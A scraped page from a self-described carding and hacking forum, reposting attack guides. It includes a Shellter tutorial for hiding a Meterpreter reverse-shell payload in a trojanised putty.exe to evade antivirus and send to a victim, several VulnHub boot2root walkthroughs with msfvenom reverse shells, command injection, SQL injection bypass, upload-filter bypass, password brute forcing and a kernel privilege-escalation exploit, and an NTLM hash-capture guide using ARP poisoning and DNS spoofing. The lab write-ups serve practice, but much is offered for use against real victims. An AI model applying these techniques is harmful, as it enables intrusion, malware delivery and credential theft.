Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum

Welcome, Guest

You have to register before you can post on our site.

Search Forums

(Advanced Search)

Forum Statistics

» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983

Full Statistics

Latest Threads

STUFF CC – BEST CC SHOP

1 hour ago

Last post by StuffCC

Vn5socks.net - Service Se...

5 hours ago

Last post by FireHeaven

Shopsocks5.com - Service ...

Yesterday, 12:42 PM

Last post by shopsocks5.com

Secretline.top @StarLinkC...

11-08-2026, 03:45 AM

Last post by Max097

Secretline.top @StarLinkC...

11-07-2026, 03:35 PM

Last post by Max097

Secretline.top @StarLinkC...

11-06-2026, 03:07 PM

Last post by Max097

[LUPIN ULP] 16.279.483 | ...

11-06-2026, 05:23 AM

Last post by ImLupin

Secretline.top @StarLinkC...

11-06-2026, 05:20 AM

Last post by Max097

Secretline.top @StarLinkC...

11-05-2026, 05:12 PM

Last post by Max097

⚡[350M] - UHQ ULP || URL:...

11-05-2026, 02:17 PM

Last post by eaglecloudofficial

[Guide] How to Shellter-A Shellcode Injecting Tool

Posted by: NINZA - 05-14-2020, 05:19 AM - Forum: Carders Home - No Replies

Hey Folks! Welcome back to learning more of what you love to do. That is, evading security of other computer or network. You know that there are various tools to assist you in this. One of such tools is Shellter.
Shellter is an active shellcode insertion tool. It effectively re-encodes payloads (here shellcode) to bypass anti-virus (AV) software. Shellter has proved to be the first dynamic infector for PE (Portable Executable) file format of Windows 32-bit applications.
To use Shellter, you can either create your own shellcode or create one from a framework such as Metasploit. Shellter embeds a 32-bit Windows application and the shellcode in such a way that it goes undetected by the AV software.
Let’s now discuss the steps to evade an AV software using Shellter in Kali Linux.
Download and Install Shellter
Download Shellter from

[To see content please register here]

. You can download Shellter in Windows and then run it on Kali Linux using Wine. It runs Windows applications on Linux like operating systems. In this way, you can reduce the time required for installation.
You can install Shellter directly on Kali by using the following command:
apt-get install shellter
1
apt-get install shellter
[Image: 1.png?w=687&ssl=1]

You can install Wine on Kali with the following command:
apt-get install wine32
1
apt-get install wine32
[Image: 2.png?w=687&ssl=1]

Open Shellter
When you open Shellter in Kali in wine mode, it prompts you to choose operation mode.
[Image: 3.png?w=687&ssl=1]

Choose Operation Mode
Select the mode as ‘a’. It stands for auto.
Now, you need to choose an executable file and copy it to the Shellter folder. This is required to be done to bind Shellter with a .exe file. In our case, we have copied the putty.exe file to the Shellter folder and bound it with the shellter.exe file.
When asked for PE Target, type the following command:
/root/Downloads/putty.exe
1
/root/Downloads/putty.exe
[Image: 4.png?w=687&ssl=1]

The binding process starts.
[Image: 5.png?w=687&ssl=1]

Press the Enter key to continue. You may see DisASM.dll file gets successfully created. Enable Stealth Mode. Then, you are prompted to enable stealth mode.
Type ‘y’ for yes.
[Image: 6.png?w=687&ssl=1]

Select Payload
The screen shows a list of payloads. It asks you whether you want to use a listed payload or custom.
Type ‘L’ to use from the listed payload.
Then, it asks you to select payload by index. You can select payload of your choice. In our case, we have selected 1 for Meterpreter_Reverse_TCP
[Image: 7.png?w=687&ssl=1]

Then you are asked to set LHOST and LPORT. Type the local host IP and the local port on which you want the session. In our case, we have set LHOST 192.168.1.109 [Attacker IP] LPORT as 4444.
When you press the Enter key, the payload information is displayed.
[Image: 8.png?w=687&ssl=1]

A warning message appears and as soon as the injection is verified, you are asked to press the Enter key to continue. When you press the Enter key.
Run Exploit
In a new terminal type msfconsole to launch Metasploit framework and execute the following command
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <IP>
set lport <port-no.>
exploit
1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <IP>
set lport <port-no.>
exploit
[Image: 9.png?w=687&ssl=1]

Send PuTTY.exe File to Victim’s Machine
When the victim clicks the putty.exe file which will appear as similar to original putty.exe and hence the victim will get trapped and we will get a meterpreter session.
[Image: 10.png?w=687&ssl=1]

As soon as the victim clicks on the putty.exe file, we will get meterpreter session as shown in the below image.
The meterpreter session opens and there you are ready to peek into the target system.
[Image: 11.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as ‘H.A.S.T.E.’. The credit for making this vm machine goes to “f1re_w1re” and it is a unique challenge as we just have to get a reverse shell just to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.102 but you will have to find your own)
netdiscover
[Image: 1.png?w=687&ssl=1]

Use nmap for port enumeration
nmap -sV 192.168.0.102
[Image: 2.png?w=687&ssl=1]

We find port 80 is open, so we open the ip address in our browser.
[Image: 3.png?w=687&ssl=1]

We don’t find anything on the page so we use dirb for listing directories on the web server.
dirb

[To see content please register here]

Now when we open

[To see content please register here]

we get a hint that the website maybe vulnerable to server side injection.
[Image: 5.png?w=687&ssl=1]

Now when we open

[To see content please register here]

we find the code executed by the server.
[Image: 6.png?w=687&ssl=1]

Now we go back to

[To see content please register here]

and use server side injection to execute our commands.
[Image: 7.1.png?w=687&ssl=1]

We executed ‘ls -al’ command to check if it is working, as u can see in the image below we successfully ran our command.
<!–##EXEC cmd=”ls -la” –>
[Image: 7.png?w=687&ssl=1]

Now we create a python payload using msfvenom.
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 > /root/Desktp/shell.py
[Image: 8.png?w=687&ssl=1]

Now we upload our shell to the server using server side injection.
<!–##EXEC cmd=”wget

[To see content please register here]

” –>

After successfully uploading the shell we use server side injection to execute our payload.
<!–##EXEC cmd=”python shell.py” –>
[Image: 10.png?w=687&ssl=1]

We setup our listener using metasploit.
msf > use exploit/multi/handler
msf exploit(handler)> set payload python/meterpreter/reverse_tcp
msf exploit(handler)> set lhost 192.168.0.107
msf exploit(handler)> set lport 4444
msf exploit(handler)> exploit
[Image: 11.png?w=687&ssl=1]

As soon as we execute our payload we get reverse shell. The main objective of the challenge was to get a reverse shell.
[Image: 12.png?w=687&ssl=1]

Today we are going to take another CTF challenge known as RickdiculouslyEasy by Luke. It is a very simple Rick and Morty themed boot to root. We have to get total of 130 points by collecting different flags (each flag has its points recorded with it), we also have to get root. If anyone is new to pentesting, it is worth a try!
You can download it from

[To see content please register here]

Security Level: Beginner
Penetration Methodology
Scanning

Discovering Targets IP
Network scanning (Nmap)

Enumeration

Surfing HTTP service port
Directory Enumeration
Connect to ftp
Command Injection

Exploiting

SSH login using Metasploit
Bruteforce login using Hydra
Using Netcat to get the reverse shell

Privilege Escalation

Checking SUID binaries
Accessing root directory
Capture the flag

Walkthrough
Scanning
After loading up the VM, our first step was to find out the target’s IP address.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found our target’s IP address to be 192.168.1.101, next step was to scan the target’s IP with nmap.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
The scan result showed open Ports; we found our first flag returned as a banner for the service running on port 13337, moreover, anonymous FTP login was allowed on port 21 holding another flag.txt file.
[Image: 2.png?w=687&ssl=1]

Enumeration
From the nmap scan, we knew that anonymous ftp login is available. So, we logged in with username as ‘anonymous’ and password as blank. While working on the ftp console, ls displayed that it had ‘FLAG.txt’ and a get command downloaded the FLAG.txt over FTP to the Kali box. We found our second flag inside FLAG.txt.
ftp 192.168.1.101
ls
get FLAG.txt
quit
cat flag.txt
1
2
3
4
5
ftp 192.168.1.101
ls
get FLAG.txt
quit
cat flag.txt
[Image: 3.png?w=687&ssl=1]

From nmap result we found HTTP service is also running on port 80. So, we browsed Target’s IP in the browser but in vain.
[Image: 4.png?w=687&ssl=1]

Next, we listed directories using dirb, it showed us two important directories ‘/passwords/’ and ‘/robots.txt’.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Viewing ‘/passwords/’ directory displayed ‘FLAG.txt’ and ‘password.html’.
[Image: 6.png?w=687&ssl=1]

We found our third flag here, so far it was a cake walk.
[Image: 7.png?w=687&ssl=1]

Browsing ‘/passwords/password.html’ pointed of the hidden password.
[Image: 8.png?w=687&ssl=1]

Why not go for source code! And the instinct was right we have a password here “winter” which we can use somewhere later.
[Image: 9.png?w=687&ssl=1]

Next, we opened ‘/robots.txt’ and found link to two files ‘/cgi-bin/root_shell.cgi’ and ‘/cgi-bin/ tracertool.cgi’.
[Image: 10.png?w=687&ssl=1]

Only ‘/cgi-bin/tracertool.cgi’ is found to be useful, browsing this I found that one could get away with command injection or say RCE.
[Image: 11.png?w=687&ssl=1]

I also found that few commands have been filtered so we had to use ‘more’ instead of ‘cat’ to get the name of the users in /etc/passwd file. Here I found three users as RickSanchez, Morty and Summer. Summer could be linked to ‘winter’ that we had found earlier.
[Image: 12.png?w=687&ssl=1]

Exploiting
It was time to perform ssh login using Metasploit with port 22222 using newly acquired credentials. And we found one more flag here.
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.101
set rport 22222
set username Summer
set password winter
exploit
sessions -u 1
sessions 2
ls
cat FLAG.txt
1
2
3
4
5
6
7
8
9
10
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.101
set rport 22222
set username Summer
set password winter
exploit
sessions -u 1
sessions 2
ls
cat FLAG.txt
[Image: 13.png?w=687&ssl=1]

Further enumeration showed three directories with the same name as of users that we found earlier. From directory Morty, we downloaded two files ‘Safe_Password.jpg’ and ‘Journal.txt.zip’.
cd /home
ls
cd Morty
ls
download Safe_password.jpg .
download journal.txt.zip .
1
2
3
4
5
6
cd /home
ls
cd Morty
ls
download Safe_password.jpg .
download journal.txt.zip .
[Image: 14.png?w=687&ssl=1]

Safe_Password.jpg was an image file, but running strings on the file shows that a password “Meeseek” is contained inside it.
strings Safe_Password.jpg
1
strings Safe_Password.jpg
[Image: 15.png?w=687&ssl=1]

Unzipping the file and supplying the password ‘Meeseek’ opened the file journal.txt. And you can see the next flag inside it.
unzip journal.txt.zip
cat journal.txt
1
2
unzip journal.txt.zip
cat journal.txt
Along with flag a number string ‘131333’was there too and the message in the file hints it to be some kind of password.
[Image: 16.png?w=687&ssl=1]

Back at the target VM, inside ‘RickSanchez’ directory there is a subdirectory named “RICK_SAFE” which was mentioned in the previous screenshot. Inside this, there is an executable file named “safe”. I downloaded this file into the main machine kali.
cd RickSanchez
ls
cd RICK_SAFE
ls
download safe .
1
2
3
4
5
cd RickSanchez
ls
cd RICK_SAFE
ls
download safe .
[Image: 17.png?w=687&ssl=1]

After providing all permissions to the file ‘safe’ when executed by providing the string given with the previous flag, it displayed our fifth flag. Inside it there are clues for Ricks’s password too.
chmod 777 safe
./safe
./safe 131333
1
2
3
chmod 777 safe
./safe
./safe 131333
[Image: 18.png?w=687&ssl=1]

As the next password contains 1 uppercase character, 1 digit followed by one of the words in the name of the old band of Rick Sanchez. So, I had to do some web surfing to find out the band’s name, it was called ‘the flesh curtains ‘. Next, we used crunch to create two different format dictionaries and saved both of them in dict.txt.
crunch 10 10 -t ,%Curtains -O >> dict.txt
crunch 7 7 -t ,%Flesh -O >> dict.txt
1
2
crunch 10 10 -t ,%Curtains -O >> dict.txt
crunch 7 7 -t ,%Flesh -O >> dict.txt
[Image: 19.png?w=687&ssl=1]

It was time to use Hydra which tried to login the service using every possible combination of users and passwords provided in the dict.txt.
hydra -l RickSanchez -P dict.txt 192.168.1.101 ssh -s 22222
1
hydra -l RickSanchez -P dict.txt 192.168.1.101 ssh -s 22222
Great! we found a user/password pair.
[Image: 20.png?w=687&ssl=1]

Privilege Escalation
Then I logged into ssh using recently acquired credentials. I reminded myself of the message in the last flag that “sudo is wheely good” so I ran sudo -l to find out his permissions. He had sudo permissions for ALL commands, so I just popped into an interactive root shell. In the root directory, we had our next flag inside FLAG.txt. But in order to get the flag, we had to use ‘more’ instead of ‘cat’.
ssh [email protected] -p 22222
sudo -l
sudo su
cd/root
ls
cat FLAG.txt
more FLAG.txt
1
2
3
4
5
6
7
ssh [email protected] -p 22222
sudo -l
sudo su
cd/root
ls
cat FLAG.txt
more FLAG.txt
[Image: 21.png?w=687&ssl=1]

Now I was a root and I had 110 points out of 130.Where did I miss 20 points? We still didn’t check out few open ports.
We exploited port 60000 using netcat and it took us to a shell. ls showed us FLAG.txt and a cat displayed the flag.
nc 192.168.1.101 60000
ls
cat FLAG.txt
1
2
3
nc 192.168.1.101 60000
ls
cat FLAG.txt
[Image: 22.png?w=687&ssl=1]

We opened port 9090 in a web browser and found the last flag. Hence the task is completed.
[Image: 23.png?w=687&ssl=1]

BTRSys v1 is another lab by ‘ismailonderkaya’ in the series BTRSys. This lab helps you sharpen your skills as a pentester. It is a must lab for a beginner.
Difficulty level: Beginner
WalkThrough
Let’s start with finding our target as always by using the following command:
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Now as we know our target is 192.168.0.105. Let’s use nmap on it. We all know nmap has many types of scans but aggression scan is much better as it combines and gives all the information at once.
nmap -A 192.168.0.105
1
nmap -A 192.168.0.105
[Image: 2.png?w=687&ssl=1]

Through nmap, we know that port 21, 22 and 80 are open with the services of FTP, SSH, and HTTP respectively. As nmap hasn’t told us much; we shall dig deeper by using Nikto. Nikto is an open-source web server scanner which allows you look for vulnerable files/programs, outdated versions, index files, http server options, etc. to use Nikto type :
nikto -h

[To see content please register here]

1
nikto -h

[To see content please register here]

With the help of Nikto, we know that there is login page à /login.php
Let’s go the login page by typing the following in URL:
192.168.0.105/login.php
1
192.168.0.105/login.php
[Image: 4.png?w=687&ssl=1]

So now we in on login page but we do not have credentials to log in. Let’s check its page source.
[Image: 5.png?w=687&ssl=1]

Now in the page source if you observe the function control carefully, you’ll realize that username ends with @btrisk.com so, therefore we can use SQL injection here and for that use the following steps:
Use brute force to apply SQL injection. (When asked for text file for brute-force, select the one with the list of all SQL injection commands)
[Image: 6.png?w=687&ssl=1]

After the completion of brute force, it will give the correct SQL code which will help you log in as shown in the above image.
[Image: 7.1.png?w=687&ssl=1]

Right click on that code and select ‘Show response in browser’ as shown above. This will open the browser and you will find yourself automatically logged in.
Login Details: @btrisk.com ‘ or “=’
[Image: 7.png?w=687&ssl=1]

As we are logged in, there is an option to upload a file. Here, we can upload our malicious PHP code. To generate the code go to the terminal of kali and type:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f raw
[Image: 8.png?w=687&ssl=1]

Copy the code from <?php to die(); and save it in .txt file. After saving change the extension from .txt to .php and then upload it.
[Image: 9.png?w=687&ssl=1]

When you try to upload your .php file it will show that only jpg and png files can be uploaded. Okay! So now change the extension from .php to .jpg and then upload it but when you upload it remember to capture the request in burp suite.
[Image: 10.png?w=687&ssl=1]

Once the request is captured in BurpSuite, change the file extension from .jpg back to .php and forward the request. This way your malicious .php code will be uploaded on the web application.
[Image: 11.png?w=687&ssl=1]

Our malicious file I s uploaded but we yet have to find the directory where it was uploaded so we can execute it and have our session. Therefore, next, we will use DIRB. And for that type:
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Dirb has shown us that there is a directory named uploads so obviously there our file has been uploaded. To execute the file type the following in the URL:
192.168.0.105/uploadsd/shell.php
1
192.168.0.105/uploadsd/shell.php
[Image: 12.png?w=687&ssl=1]

Like always before executing the file remember to activate your handler on Metasploit so that you can have your session. And for this open Metasploit and type:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.107
set lport 4444
exploit
1
2
3
4
5
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.107
set lport 4444
exploit
After the handler is activated and your file is executed; you will have your meterpreter session. Let’s then further check system information and for that type:
sysinfo
1
sysinfo
[Image: 13.png?w=687&ssl=1]

Now that we have meterpreter session let’s explore a bit and look into HTML files:
cd /var/www/html
ls
1
2
cd /var/www/html
ls
There is a config.php file in var/www/html. This file has often proven to be important so let’s check it out.
cat config.php
1
cat config.php
[Image: 14.png?w=687&ssl=1]

Through config.php we know that one of the following words is a username and password :
root
toor
deneme
1
2
3
root
toor
deneme
Let’s now go to shell and try to log in through these three keywords :
shell
mysql -uroot -p -Ddeneme
1
2
shell
mysql -uroot -p -Ddeneme
And then enter password toor
Once logged in let’s look for tables by using the following command :
show tables;
1
show tables;
[Image: 15.png?w=687&ssl=1]

As shown in the above image there is a table named user. Let’s see what this table has :
select * from user;
1
select * from user;
[Image: 16.png?w=687&ssl=1]

From the table, we now know that the password for root is asd123***. Let’s login from it :
su root
asd123***
1
2
su root
asd123***
Let’s confirm our root access :
whoami
1
whoami
[Image: 17.png?w=687&ssl=1]

[Guide] How to Hack the BTRSys: v2.1 VM (Boot2Root Challenge)

Posted by: NINZA - 05-14-2020, 05:18 AM - Forum: Carders Home - No Replies

BTRSys is boot2root challenge developed by ‘ismailonderkaya’ in the series of BRTSys. This is an amazing lab for practice which has covered every technique.
Difficulty level: Intermediate
WalkThrough
Let’s start by finding our target. And for that use the following command.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]
We know our target is 192.168.0.106 so, therefore, apply nmap on it as it will help us know which ports and services are open. Use the following command:
nmap -A 192.168.0.106
1
nmap -A 192.168.0.106
[Image: 2.png?w=687&ssl=1]
Due to nmap, you can see that port 21, 22 and 80 are open with the service of FTP, SSH, and HTTP respectively. As we still have a lot to find about this, we decided to use DIRB. Dirb is web-scanner i.e. it will scan the whole web application for file/directories. It will even show the hidden files. Use the following command:
dirb

[To see content please register here]

1
dirb

[To see content please register here]

As you can see in the above image that using dirb we found various files and directories such as robots.txt, upload, etc. but you can also see that our target web application is using WordPress, so, we can easily apply a WordPress scan using the following command which covers themes, plugins, and users:
./wpscan.rb -u

[To see content please register here]

--enumerate at --enumerate ap --enumerate u
1
./wpscan.rb -u

[To see content please register here]

--enumerate at --enumerate ap --enumerate u
[Image: 4.png?w=687&ssl=1]

As a result, we have found two users – btrisk and admin.
[Image: 5.png?w=687&ssl=1]

Now if you try to login through admin using password admin you have the access of the dashboard. And once you have that access you can execute a malicious PHP code therein to have a meterpreter session. Use the following command:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f raw
[Image: 6.png?w=687&ssl=1]

The above command will give you a php code which you have to execute. Copy the code from <?php to die(); and paste it in the template as shown below :
[Image: 7.png?w=687&ssl=1]

Once the code is uploaded, execute it through URL as shown :
192.168.0.106/wordpress/wp-content/themes/twentyfourteen/404.php
1
192.168.0.106/wordpress/wp-content/themes/twentyfourteen/404.php
[Image: 8.png?w=687&ssl=1]

Before executing the above URL, make sure that your meterpreter handler is active. And to do so; go to Metasploit and type the following:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.107
set lport 4444
exploit
1
2
3
4
5
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.107
set lport 4444
exploit
Once the handler is active and the URL is executed, you will have your session. Let’s check the system’s information which we have entered and for this type:
sysinfo
1
sysinfo
[Image: 9.png?w=687&ssl=1]

Now let’s get into the shell by simply typing:
shell
1
shell
[Image: 10.png?w=687&ssl=1]

Through shell, we came to know that Ubuntu’s version is 16.04.2 and fortunately there is exploit in exploit-db for this version of Ubuntu. Download this exploit.
[Image: 12.png?w=687&ssl=1]

This exploit will help you to have achieved privilege escalation so that you can directly access root. Once the exploit is downloaded, we need to compile it and for that type:
gcc 41458.c -o rootshell
1
gcc 41458.c -o rootshell

Now that the exploit has been compiled, upload it in the /tmp directory. For that, you will need to go to /tmp directory. Use the following commands:
cd /tmp
upload /root/Desktop/rootshell .
1
2
cd /tmp
upload /root/Desktop/rootshell .
[Image: 14.png?w=687&ssl=1]

Now go to shell>/tmp and give the permission to the exploit root shell and execute it. Use the following commands:
shell
cd /tmp
chmod 777 rootshell
./rootshell
1
2
3
4
shell
cd /tmp
chmod 777 rootshell
./rootshell
And to confirm use the following command:
whoami
1
whoami
[Image: 15.png?w=687&ssl=1]

HURRAY!!!! We are in the root. And so our Boot2Root challenge is complete.

Hello friends! Today we are going to take another CTF challenge known as Bulldog. The credit for making this vm machine goes to “Nick Frichette” and it is another Boot2root challenge. Our goal is to get into root directory and see the congratulatory message. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
The target holds 192.168.1.158 as network IP; now using nmap lets find out open ports.
nmap -sV 192.168.1.158
[Image: 1.png?w=687&ssl=1]

Nmap scan shows us port 80 is open, so we open the ip address in our browser.
[Image: 2.png?w=687&ssl=1]

We don’t find anything on the web page. So we use dirb to find the directories for more information.
dirb

[To see content please register here]

We find quite a few directories, we open

[To see content please register here]

for information. We didn’t find anything on the web page, so we take a look at the source code of the page. There we find a few passwords in md5 hash encryption for the respective users.
[Image: 4.png?w=687&ssl=1]

We are able to only crack the last 2 hashes and find 2 strings ‘bulldog’ and ‘bulldoglover’.
[Image: 5.png?w=687&ssl=1]

We open the admin page we found using dirb. We now use one of these hashes as password and we take the respective username.
We use username as ‘nick’ and password as ‘bulldog’.
[Image: 6.1.png?w=687&ssl=1]

After logging in we go to

[To see content please register here]

that we found using dirb. We find that it Is a command shell that allows us to execute certain commands. We can easily bypass this firewall using ‘|’ to run multiple commands.
[Image: 6.png?w=687&ssl=1]

Now we create a python payload using msfvenom.
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.111 lport=4444 > /var/www/html/shell.py
[Image: 7.1.png?w=687&ssl=1]

We setup our listener using metasploit for reverse shell.
msf > use exploit/multi/handler
msf exploit(handler) > set lhost 192.168.1.111
msf exploit(handler) > set lport 4444
msf exploit(handler) > set payload python/meterpreter/reverse_tcp
msf exploit(handler) > run
[Image: 7.2.png?w=687&ssl=1]

We now upload our payload to the server and execute the payload to get reverse shell.
pwd | wget

[To see content please register here]

| python shell.py
[Image: 7.png?w=687&ssl=1]

As soon as we execute our payload we get our session on metasploit.
[Image: 8.png?w=687&ssl=1]

We spawn a shell using python to execute our command.
<span style="color: #ffdc00;"><code>echo "import pty; pty.spawn("/bin/bash")'</code></span>
1
<span style="color: #ffdc00;"><code>echo "import pty; pty.spawn("/bin/bash")'</code></span>
[Image: 9.png?w=687&ssl=1]

Looking through we find a file customPermissionApp in /home/bulldogadmin/.hiddendirectory/.
We use strings command to take a look at the strings inside customPermissionApp.
strings customPermissionApp
[Image: 10.png?w=687&ssl=1]

We find a string called SUPERultHimatePASHSWORDyouHCANTget, we remove ‘H’ from the string and use this as our password to get access as root.
sudo su
Then we move to root folder inside the root folder we find a file called ‘congrats.txt’. When we open the file we are greeted by a message congratulating us for the completion of the VM challenge
[Image: 11.png?w=687&ssl=1]

Today we are solving the LazySysAdmin: 1 machine from VulnHub. The credit for making this VM machine goes to “Togie Mcdogie” and it is another boot2root challenge where we have to root the server and find the flag to complete the challenge. You can get this VM from

[To see content please register here]

).
Difficulty Level: Beginner-Intermediate
Table of Content
Scanning

Open ports and Running services (Nmap)

Enumeration

SMB share folder enumeration
Credential harvesting

Exploitation

Login into WordPress
WordPress shell upload (Metasploit)

Privilege Escalation

Sudo rights

Capture proof.txt

Let’s Breach!!!
Scanning
Let us start form getting to know the IP of VM and as you can see in the screenshot below it is 192.168.1.16.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Time to scan the Target’s IP with Nmap. And if you refer the screenshot, we found the host has Samba; it has MySQL. It even has InspIRCd along with the usual http and ssh services.
nmap -p- -sV 192.168.1.16
1
nmap -p- -sV 192.168.1.16
[Image: 2.png?w=687&ssl=1]

Enumeration
As we have port 139 and port 445 is open, so we use smbclient: smbclient is a client that can ‘talk’ to an SMB/CIFS server) to look for the shared disk. Its operations include things like getting files from the server to the local machine, putting files from the local machine to the server, retrieving directory information from the server and so on.
As you can observe with the help of smbclient we are able to view the shares of the machine. Moreover, we can use smbclient for sharing the file in the network. Here we are able to login successfully using anonymous login and now we can access the ‘share$’ drive.
In ‘share$’ we found WordPress folder as well as three txt files named deets.txt, robots.txt and todolist.txt.
smbclient -L 192.168.1.16
smbclient '\\192.168.1.16\share$'
get deets.txt
get todolist.txt
1
2
3
4
smbclient -L 192.168.1.16
smbclient '\\192.168.1.16\share$'
get deets.txt
get todolist.txt
[Image: 3.png?w=687&ssl=1]

Looking into ‘deets.txt’ we get a password:12345. Great! But as of now, we are not sure this password could belong to a user or root.
cat deets.txt
cat todolist.txt
1
2
cat deets.txt
cat todolist.txt
[Image: 4.png?w=687&ssl=1]

Looking further into the ‘WordPress’ folder that we have found earlier, we found the wp-config.php file. Let’s download it.
cd wordpress\
get wp-config.php
1
2
cd wordpress\
get wp-config.php
[Image: 5.png?w=687&ssl=1]

In the wp-config.php file, we find the username and password for WordPress login.
Username: Admin
Password: TogieMYSQL12345^^
1
2
Username: Admin
Password: TogieMYSQL12345^^
[Image: 6.png?w=687&ssl=1]

Now as we already know the WordPress page for admin from the previous list of WordPress content. We access the admin dashboard using the username and password that we found in the wp-config.php file.
[Image: 7.png?w=687&ssl=1]

Exploitation
Now that I am successfully logged in, I can upload a payload packaged as a WordPress plugin. The module used here will generate a plugin, pack the payload into it and upload it to server.
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.1.16
set targeturi /wordpress
set username admin
set password TogieMYSQL12345^^
exploit
1
2
3
4
5
6
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.1.16
set targeturi /wordpress
set username admin
set password TogieMYSQL12345^^
exploit
[Image: 8.png?w=687&ssl=1]

Now as you can see as soon as our payload is executed, we get our meterpreter session. But to get a proper shell, we have used the python one-liner to spawn the TTY shell. Now let’s get to the /etc/passwd file.
So, what have we got inside this file here was an entry for user togie and if remembered we had a password:12345 which we have obtained from deet.txt.
[Image: 9.png?w=687&ssl=1]

Privilege Escalation
After logging in as togie by using the password then I checked the sudo rights for him where I found togie has ALL permissions as of root user as you can see in the highlighted text below. Therefore, we try to access root shell by executing the command:
sudo -l
su sudo
1
2
sudo -l
su sudo
\ [Image: 10.png?w=687&ssl=1]

Hereby going inside the root directory and listing its content we found our flag in proof.txt.
[Image: 11.png?w=687&ssl=1]

Hello friends! Today we are describing how to capture NTLM Hash in a local network. In this article, we had captured NTLM hash 4 times through various methods. Before we proceed towards attacking techniques, let’s read the brief introduction on NTLM Hash.
The acronym for word NTLM is made by combining the following terms:
NT: New technologies (Windows)
LAN: Local area network
M: Manager
In a Windows network, NT LAN Manager (NTLM) is a suite of Microsoft security protocols. It was the default for network authentication in the Windows NT 4.0 operating system that provides authentication, integrity, and confidentiality to users. The NTLMv2 is the latest version and uses the NT MD4 based one-way function. The hash lengths are 128 bits and work for a local account and Domain account.
The NTLM protocol uses one or both of two hashed password values, both of which are also stored on the server (or domain controller), and which through a lack of salting are password equivalent, meaning that if you grab the hash value from the server, you can authenticate without knowing the actual password.
For more information visit Wikipedia.org
Let’s Begin!!
Requirement
Attacker: Kali Linux
Target: Windows 10
Capture NTLMv2 hash through Sniffing
Being as attacker open etter.dns file from inside /etc/ettercap in your Kali Linux system then replace whole text by editing given below line includes attacker’s IP and save the text document.
* A 192.168.1.103
[Image: 1.png?w=687&ssl=1]

Now follow the given below step to run ettercap to start sniffing.

Application > sniffing and spoofing > ettercap
Click on sniff and Select your network interface.
Scan for the host to generate the target list.

Select the host and add to target, from the given image you read among 5 hosts I had chosen 192.168.1.101 as the target and add to target 1.
[Image: 3.png?w=687&ssl=1]

Click on MITM from the menu bar to select ARP Poisoning, a dialog box will pop-up now enable “sniff remote connects” and click OK.
[Image: 4.png?w=687&ssl=1]

After then click on plugins option from the menu bar and choose dns_spoof
By making use of dns_spoof attacker can redirect the victim’s network traffic on his network IP so that whatever victim will open on his web browser will get a redirect on the attacker’s IP.
[Image: 5.png?w=687&ssl=1]

Now load the Metasploit framework and execute the following code to make use of the http_ntlm module.
This module attempts to quietly catch NTLM/LM Challenge hashes.
use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set srvhost 192.168.1.103
msf auxiliary(http_ntlm) > set srvport 80
msf auxiliary(http_ntlm) > set uripath /
msf auxiliary(http_ntlm) > set johnpwfile /root/Desktop/
msf auxiliary(http_ntlm) > exploit
1
2
3
4
5
6
use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set srvhost 192.168.1.103
msf auxiliary(http_ntlm) > set srvport 80
msf auxiliary(http_ntlm) > set uripath /
msf auxiliary(http_ntlm) > set johnpwfile /root/Desktop/
msf auxiliary(http_ntlm) > exploit
Now according to an above trap set for the victim, this module will capture NTLM password of victim’s system when he will open any http web site on his browser which will redirect that web site on attacker’s IP.
[Image: 6.png?w=687&ssl=1]

From given below image you can notice victim is trying to browse “hackingarticles.in” on his web browser but it requires authentication which is requesting for his username and password. Now if he tries to open something else let says google.com there also it will ask username and password for authentication until the victim will not submit his username and password he cannot browse anything on his web browser.
As the victim enter username and password, the attacker at background will capture NTLM hash on his system.
[Image: 7.png?w=687&ssl=1]

Great!! The attacker had captured NTMLv2 hash, now let count detail apart from the hash value that the attacker has captured.
From the given image you can see that the attacker has captured two things more:
Username: pentest
Machine name: Desktop-UKIQM20
[Image: 8.1.png?w=687&ssl=1]

Now use john the ripper to crack the ntlmv2 hash by executing given below command
john _netntlmv2
From given below image you can confirm we had successfully retrieved the password: 123 for user: pentest by cracking ntlmv2 hash.
[Image: 8.png?w=687&ssl=1]

Capture NTLMv2 hash through capture SMB & spoof NBNS
This module provides an SMB service that can be used to capture the challenge-response password hashes of SMB client systems. Responses sent by this service have by default the configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy cracking using Cain & Abel, L0phtcrack or John the Ripper (with jumbo patch). To exploit this, the target system must try to authenticate to this module.
use auxiliary/server/capture/smb
msf auxiliary(smb) > set srvhost 192.168.1.103
msf auxiliary(smb) > set johnpwfile /root/Desktop/
msf auxiliary(smb) > exploit
1
2
